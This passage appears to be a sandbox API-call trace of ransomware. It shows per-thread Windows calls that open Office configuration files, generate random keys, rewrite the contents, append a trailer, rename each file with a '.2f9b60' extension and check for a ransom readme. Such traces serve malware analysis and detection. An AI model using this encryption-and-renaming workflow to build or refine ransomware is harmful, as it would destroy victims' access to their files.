_Dest=0x1b7aa1b4, _Format="%c%c" | out: _Dest="49") returned 2 [0143.633] sprintf (in: _Dest=0x1b7aa1b6, _Format="%c%c" | out: _Dest="ea") returned 2 [0143.633] sprintf (in: _Dest=0x1b7aa1b8, _Format="%c%c" | out: _Dest="f7") returned 2 [0143.633] sprintf (in: _Dest=0x1b7aa1ba, _Format="%c%c" | out: _Dest="04") returned 2 [0143.633] sprintf (in: _Dest=0x1b7aa1bc, _Format="%c%c" | out: _Dest="6d") returned 2 [0143.633] sprintf (in: _Dest=0x1b7aa1be, _Format="%c%c" | out: _Dest="ee") returned 2 [0143.633] sprintf (in: _Dest=0x1b7aa1c0, _Format="%c%c" | out: _Dest="72") returned 2 [0143.633] sprintf (in: _Dest=0x1b7aa1c2, _Format="%c%c" | out: _Dest="8a") returned 2 [0143.633] sprintf (in: _Dest=0x1b7aa1c4, _Format="%c%c" | out: _Dest="60") returned 2 [0143.633] sprintf (in: _Dest=0x1b7aa1c6, _Format="%c%c" | out: _Dest="68") returned 2 [0143.633] sprintf (in: _Dest=0x1b7aa1c8, _Format="%c%c" | out: _Dest="94") returned 2 [0143.633] sprintf (in: _Dest=0x1b7aa1ca, _Format="%c%c" | out: _Dest="e8") returned 2 [0143.633] RtlInitAnsiString (in: DestinationString=0x3ca2fd88, SourceString="645b4f1108773e9722e149eaf7046dee728a606894e8" | out: DestinationString="645b4f1108773e9722e149eaf7046dee728a606894e8") [0143.633] RtlAnsiStringToUnicodeString (in: DestinationString=0x3ca2fd58, SourceString="645b4f1108773e9722e149eaf7046dee728a606894e8", AllocateDestinationString=1 | out: DestinationString="645b4f1108773e9722e149eaf7046dee728a606894e8") returned 0x0 [0143.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b86e870 [0143.634] RtlFreeAnsiString (AnsiString="6") [0143.634] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa1a0) returned 1 [0143.634] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0143.634] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fefe0) returned 1 [0143.634] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x169c40) returned 1 [0143.634] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7010) returned 1 [0143.635] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6fb0) returned 1 [0143.635] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7160) returned 1 [0143.635] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7a00) returned 1 [0143.635] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff1c0) returned 1 [0143.635] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff280) returned 1 [0143.635] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff2b0) returned 1 [0143.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x20506c70 [0143.636] wcscat (in: _Dest=0x20506c70, _Source="645b4f11087" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\645b4f11087") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\645b4f11087" [0143.636] wcscat (in: _Dest=0x20506c70, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\645b4f11087.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\645b4f11087.2f9b60" [0143.636] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\645b4f11087.2f9b60", NtPathName=0x3ca2fd30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\645b4f11087.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0143.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x1ce226e0 [0143.636] NtSetInformationFile (FileHandle=0x1ef4, IoStatusBlock=0x3ca2fdd0, FileInformation=0x1ce226e0, Length=0xb0, FileInformationClass=0xa) returned 0x0 [0143.845] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce226e0) returned 1 [0143.845] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42050ba0) returned 1 [0143.845] NtQueryInformationFile (in: FileHandle=0x1ef4, IoStatusBlock=0x3ca2fd98, FileInformation=0x3ca2fda8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3ca2fd98, FileInformation=0x3ca2fda8) returned 0x0 [0143.845] NtSetInformationFile (FileHandle=0x1ef4, IoStatusBlock=0x3ca2fd98, FileInformation=0x3ca2fda8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0143.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20506c70) returned 1 [0143.851] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e870) returned 1 [0143.851] FlushFileBuffers (hFile=0x1ef4) returned 1 [0143.902] CloseHandle (hObject=0x1ef4) returned 1 [0143.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x205070d0 [0143.912] wcscpy (in: _Dest=0x205070d0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0143.912] wcscat (in: _Dest=0x205070d0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt" [0143.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\2f9b60-readme.txt")) returned 0x20 [0143.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205070d0) returned 1 [0143.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4a600) returned 1 Thread: id = 2203 os_tid = 0x1678 [0140.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\post.cfg")) returned 0x20 [0140.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG", dwFileAttributes=0x20) returned 1 [0140.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\post.cfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ee0 [0142.424] GetFileSizeEx (in: hFile=0x1ee0, lpFileSize=0x3cbcf7a0 | out: lpFileSize=0x3cbcf7a0*=777) returned 1 [0142.424] SetFilePointerEx (in: hFile=0x1ee0, liDistanceToMove=0x305, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.425] ReadFile (in: hFile=0x1ee0, lpBuffer=0x3cbcf720, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3cbcf768, lpOverlapped=0x0 | out: lpBuffer=0x3cbcf720*, lpNumberOfBytesRead=0x3cbcf768*=0x4, lpOverlapped=0x0) returned 1 [0142.442] SetFilePointerEx (in: hFile=0x1ee0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff2e0 [0142.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff370 [0142.443] NtQuerySystemTime (in: CurrentTime=0x3cbcf660 | out: CurrentTime=0x3cbcf660*=132462177476770000) returned 0x0 [0142.443] RtlRandomEx (in: Seed=0x3cbcf650 | out: Seed=0x3cbcf650) returned 0x17a4c62f [0142.443] RtlRandomEx (in: Seed=0x3cbcf650 | out: Seed=0x3cbcf650) returned 0x3ab3339f [0142.443] RtlRandomEx (in: Seed=0x3cbcf650 | out: Seed=0x3cbcf650) returned 0x71a84634 [0142.443] RtlRandomEx (in: Seed=0x3cbcf650 | out: Seed=0x3cbcf650) returned 0x3d23d5c5 [0142.443] RtlRandomEx (in: Seed=0x3cbcf650 | out: Seed=0x3cbcf650) returned 0x4130b7ff [0142.443] RtlRandomEx (in: Seed=0x3cbcf650 | out: Seed=0x3cbcf650) returned 0x7bc20922 [0142.443] RtlRandomEx (in: Seed=0x3cbcf650 | out: Seed=0x3cbcf650) returned 0x74a8704c [0142.443] RtlRandomEx (in: Seed=0x3cbcf650 | out: Seed=0x3cbcf650) returned 0x3980897a [0142.443] RtlRandomEx (in: Seed=0x3cbcf650 | out: Seed=0x3cbcf650) returned 0x38a9826a [0142.443] RtlRandomEx (in: Seed=0x3cbcf650 | out: Seed=0x3cbcf650) returned 0x242610ec [0142.443] RtlRandomEx (in: Seed=0x3cbcf650 | out: Seed=0x3cbcf650) returned 0x239f9375 [0142.443] RtlRandomEx (in: Seed=0x3cbcf650 | out: Seed=0x3cbcf650) returned 0x1dae6172 [0142.443] RtlRandomEx (in: Seed=0x3cbcf650 | out: Seed=0x3cbcf650) returned 0x71797a56 [0142.475] RtlRandomEx (in: Seed=0x3cbcf650 | out: Seed=0x3cbcf650) returned 0x3f0237ac [0142.475] RtlRandomEx (in: Seed=0x3cbcf650 | out: Seed=0x3cbcf650) returned 0x69bd25bb [0142.475] RtlRandomEx (in: Seed=0x3cbcf650 | out: Seed=0x3cbcf650) returned 0x7007851f [0142.475] RtlRandomEx (in: Seed=0x3cbcf650 | out: Seed=0x3cbcf650) returned 0x1dae6172 [0142.475] RtlRandomEx (in: Seed=0x3cbcf650 | out: Seed=0x3cbcf650) returned 0x7e59de20 [0142.475] RtlRandomEx (in: Seed=0x3cbcf650 | out: Seed=0x3cbcf650) returned 0x2e400819 [0142.475] RtlRandomEx (in: Seed=0x3cbcf650 | out: Seed=0x3cbcf650) returned 0x49515df6 [0142.475] RtlRandomEx (in: Seed=0x3cbcf650 | out: Seed=0x3cbcf650) returned 0x10b3588f [0142.475] RtlRandomEx (in: Seed=0x3cbcf650 | out: Seed=0x3cbcf650) returned 0x71cf0250 [0142.475] RtlRandomEx (in: Seed=0x3cbcf650 | out: Seed=0x3cbcf650) returned 0xbb26dc2 [0142.475] RtlRandomEx (in: Seed=0x3cbcf650 | out: Seed=0x3cbcf650) returned 0x13a7a542 [0142.475] RtlRandomEx (in: Seed=0x3cbcf650 | out: Seed=0x3cbcf650) returned 0x296b0867 [0142.475] RtlRandomEx (in: Seed=0x3cbcf650 | out: Seed=0x3cbcf650) returned 0x7788f143 [0142.475] RtlRandomEx (in: Seed=0x3cbcf650 | out: Seed=0x3cbcf650) returned 0x470fd35c [0142.475] RtlRandomEx (in: Seed=0x3cbcf650 | out: Seed=0x3cbcf650) returned 0xf96ad2f [0142.475] RtlRandomEx (in: Seed=0x3cbcf650 | out: Seed=0x3cbcf650) returned 0x3fcd8122 [0142.475] RtlRandomEx (in: Seed=0x3cbcf650 | out: Seed=0x3cbcf650) returned 0x1219741d [0142.475] RtlRandomEx (in: Seed=0x3cbcf650 | out: Seed=0x3cbcf650) returned 0x4b2a70fe [0142.475] RtlRandomEx (in: Seed=0x3cbcf650 | out: Seed=0x3cbcf650) returned 0x7cce313c [0142.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202672f0 [0142.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d490 [0142.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267440 [0142.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d490) returned 1 [0142.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff370) returned 1 [0142.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd978a0 [0142.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d490 [0142.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203a4520 [0142.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203a8130 [0142.488] ReadFile (in: hFile=0x1ee0, lpBuffer=0x203a4520, nNumberOfBytesToRead=0x309, lpNumberOfBytesRead=0x3cbcf650, lpOverlapped=0x0 | out: lpBuffer=0x203a4520*, lpNumberOfBytesRead=0x3cbcf650*=0x309, lpOverlapped=0x0) returned 1 [0142.488] SetFilePointerEx (in: hFile=0x1ee0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.488] WriteFile (in: hFile=0x1ee0, lpBuffer=0x203a8130*, nNumberOfBytesToWrite=0x309, lpNumberOfBytesWritten=0x3cbcf654, lpOverlapped=0x0 | out: lpBuffer=0x203a8130*, lpNumberOfBytesWritten=0x3cbcf654*=0x309, lpOverlapped=0x0) returned 1 [0143.400] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6f20 [0143.400] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6dd0 [0143.400] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6dd0) returned 1 [0143.401] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203a8130) returned 1 [0143.401] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203a4520) returned 1 [0143.401] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d490) returned 1 [0143.401] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd978a0) returned 1 [0143.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x202a6dd0 [0143.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd978a0 [0143.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d490 [0143.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6890 [0143.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6890) returned 1 [0143.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x202a6890 [0143.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6740 [0143.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260350 [0143.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260350) returned 1 [0143.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d490) returned 1 [0143.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd978a0) returned 1 [0143.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x102) returned 0x1692b0 [0143.403] SetFilePointerEx (in: hFile=0x1ee0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0143.403] WriteFile (in: hFile=0x1ee0, lpBuffer=0x1692b0*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3cbcf770, lpOverlapped=0x0 | out: lpBuffer=0x1692b0*, lpNumberOfBytesWritten=0x3cbcf770*=0x102, lpOverlapped=0x0) returned 1 [0143.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0143.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59e30 [0143.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff220 [0143.646] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff220) returned 1 [0143.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b7d5a50 [0143.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff220 [0143.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff1f0 [0143.646] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff1f0) returned 1 [0143.647] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59e30) returned 1 [0143.647] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0143.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x204ff1f0 [0143.647] sprintf (in: _Dest=0x204ff1f0, _Format="%c%c" | out: _Dest="67") returned 2 [0143.647] sprintf (in: _Dest=0x204ff1f2, _Format="%c%c" | out: _Dest="b7") returned 2 [0143.647] sprintf (in: _Dest=0x204ff1f4, _Format="%c%c" | out: _Dest="f9") returned 2 [0143.647] sprintf (in: _Dest=0x204ff1f6, _Format="%c%c" | out: _Dest="b7") returned 2 [0143.647] sprintf (in: _Dest=0x204ff1f8, _Format="%c%c" | out: _Dest="cb") returned 2 [0143.647] sprintf (in: _Dest=0x204ff1fa, _Format="%c%c" | out: _Dest="44") returned 2 [0143.647] sprintf (in: _Dest=0x204ff1fc, _Format="%c%c" | out: _Dest="82") returned 2 [0143.647] sprintf (in: _Dest=0x204ff1fe, _Format="%c%c" | out: _Dest="3d") returned 2 [0143.647] sprintf (in: _Dest=0x204ff200, _Format="%c%c" | out: _Dest="b0") returned 2 [0143.647] sprintf (in: _Dest=0x204ff202, _Format="%c%c" | out: _Dest="77") returned 2 [0143.647] sprintf (in: _Dest=0x204ff204, _Format="%c%c" | out: _Dest="cc") returned 2 [0143.647] sprintf (in: _Dest=0x204ff206, _Format="%c%c" | out: _Dest="23") returned 2 [0143.647] sprintf (in: _Dest=0x204ff208, _Format="%c%c" | out: _Dest="30") returned 2 [0143.647] sprintf (in: _Dest=0x204ff20a, _Format="%c%c" | out: _Dest="e7") returned 2 [0143.647] sprintf (in: _Dest=0x204ff20c, _Format="%c%c" | out: _Dest="94") returned 2 [0143.648] sprintf (in: _Dest=0x204ff20e, _Format="%c%c" | out: _Dest="7d") returned 2 [0143.648] RtlInitAnsiString (in: DestinationString=0x3cbcf7e8, SourceString="67b7f9b7cb44823db077cc2330e7947d" | out: DestinationString="67b7f9b7cb44823db077cc2330e7947d") [0143.648] RtlAnsiStringToUnicodeString (in: DestinationString=0x3cbcf7b8, SourceString="67b7f9b7cb44823db077cc2330e7947d", AllocateDestinationString=1 | out: DestinationString="67b7f9b7cb44823db077cc2330e7947d") returned 0x0 [0143.648] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x42059f10 [0143.648] RtlFreeAnsiString (AnsiString="6") [0143.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff1f0) returned 1 [0143.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0143.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff220) returned 1 [0143.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1692b0) returned 1 [0143.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6890) returned 1 [0143.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6740) returned 1 [0143.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6dd0) returned 1 [0143.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6f20) returned 1 [0143.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff2e0) returned 1 [0143.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202672f0) returned 1 [0143.650] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267440) returned 1 [0143.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20506db0 [0143.650] wcscat (in: _Dest=0x20506db0, _Source="67b7f9b7" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\67b7f9b7") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\67b7f9b7" [0143.650] wcscat (in: _Dest=0x20506db0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\67b7f9b7.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\67b7f9b7.2f9b60" [0143.650] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\67b7f9b7.2f9b60", NtPathName=0x3cbcf790, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\67b7f9b7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0143.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x1ce22860 [0143.650] NtSetInformationFile (FileHandle=0x1ee0, IoStatusBlock=0x3cbcf830, FileInformation=0x1ce22860, Length=0xaa, FileInformationClass=0xa) returned 0x0 [0143.852] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce22860) returned 1 [0143.852] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0143.852] NtQueryInformationFile (in: FileHandle=0x1ee0, IoStatusBlock=0x3cbcf7f8, FileInformation=0x3cbcf808, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3cbcf7f8, FileInformation=0x3cbcf808) returned 0x0 [0143.852] NtSetInformationFile (FileHandle=0x1ee0, IoStatusBlock=0x3cbcf7f8, FileInformation=0x3cbcf808, Length=0x28, FileInformationClass=0x4) returned 0x0 [0143.858] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20506db0) returned 1 [0143.858] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0143.858] FlushFileBuffers (hFile=0x1ee0) returned 1 [0143.903] CloseHandle (hObject=0x1ee0) returned 1 [0143.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x205070d0 [0143.916] wcscpy (in: _Dest=0x205070d0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0143.916] wcscat (in: _Dest=0x205070d0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt" [0143.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\2f9b60-readme.txt")) returned 0x20 [0143.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205070d0) returned 1 [0143.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4aba0) returned 1 Thread: id = 2204 os_tid = 0x167c [0140.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postit.cfg")) returned 0x20 [0140.674] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG", dwFileAttributes=0x20) returned 1 [0140.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postit.cfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ed8 [0142.426] GetFileSizeEx (in: hFile=0x1ed8, lpFileSize=0x3b77f980 | out: lpFileSize=0x3b77f980*=777) returned 1 [0142.426] SetFilePointerEx (in: hFile=0x1ed8, liDistanceToMove=0x305, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.426] ReadFile (in: hFile=0x1ed8, lpBuffer=0x3b77f900, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3b77f948, lpOverlapped=0x0 | out: lpBuffer=0x3b77f900*, lpNumberOfBytesRead=0x3b77f948*=0x4, lpOverlapped=0x0) returned 1 [0142.491] SetFilePointerEx (in: hFile=0x1ed8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.491] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff370 [0142.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff610 [0142.492] NtQuerySystemTime (in: CurrentTime=0x3b77f840 | out: CurrentTime=0x3b77f840*=132462177477394000) returned 0x0 [0142.492] RtlRandomEx (in: Seed=0x3b77f830 | out: Seed=0x3b77f830) returned 0xe32342 [0142.492] RtlRandomEx (in: Seed=0x3b77f830 | out: Seed=0x3b77f830) returned 0x38ceb57 [0142.493] RtlRandomEx (in: Seed=0x3b77f830 | out: Seed=0x3b77f830) returned 0x3d8faf61 [0142.493] RtlRandomEx (in: Seed=0x3b77f830 | out: Seed=0x3b77f830) returned 0x47e2c253 [0142.493] RtlRandomEx (in: Seed=0x3b77f830 | out: Seed=0x3b77f830) returned 0x69bd25bb [0142.493] RtlRandomEx (in: Seed=0x3b77f830 | out: Seed=0x3b77f830) returned 0x19360e6b [0142.493] RtlRandomEx (in: Seed=0x3b77f830 | out: Seed=0x3b77f830) returned 0x4afaf00d [0142.493] RtlRandomEx (in: Seed=0x3b77f830 | out: Seed=0x3b77f830) returned 0x3f221e22 [0142.493] RtlRandomEx (in: Seed=0x3b77f830 | out: Seed=0x3b77f830) returned 0x49848053 [0142.493] RtlRandomEx (in: Seed=0x3b77f830 | out: Seed=0x3b77f830) returned 0x74f65527 [0142.493] RtlRandomEx (in: Seed=0x3b77f830 | out: Seed=0x3b77f830) returned 0x5d9e72d7 [0142.493] RtlRandomEx (in: Seed=0x3b77f830 | out: Seed=0x3b77f830) returned 0x5e63e1a8 [0142.493] RtlRandomEx (in: Seed=0x3b77f830 | out: Seed=0x3b77f830) returned 0x10b3588f [0142.493] RtlRandomEx (in: Seed=0x3b77f830 | out: Seed=0x3b77f830) returned 0x70fe2ea6 [0142.493] RtlRandomEx (in: Seed=0x3b77f830 | out: Seed=0x3b77f830) returned 0x25d7d285 [0142.493] RtlRandomEx (in: Seed=0x3b77f830 | out: Seed=0x3b77f830) returned 0x401773a5 [0142.493] RtlRandomEx (in: Seed=0x3b77f830 | out: Seed=0x3b77f830) returned 0x3ec1363f [0142.493] RtlRandomEx (in: Seed=0x3b77f830 | out: Seed=0x3b77f830) returned 0x7afdf5bd [0142.493] RtlRandomEx (in: Seed=0x3b77f830 | out: Seed=0x3b77f830) returned 0x773a8c43 [0142.493] RtlRandomEx (in: Seed=0x3b77f830 | out: Seed=0x3b77f830) returned 0x700ca3a3 [0142.493] RtlRandomEx (in: Seed=0x3b77f830 | out: Seed=0x3b77f830) returned 0x28439113 [0142.493] RtlRandomEx (in: Seed=0x3b77f830 | out: 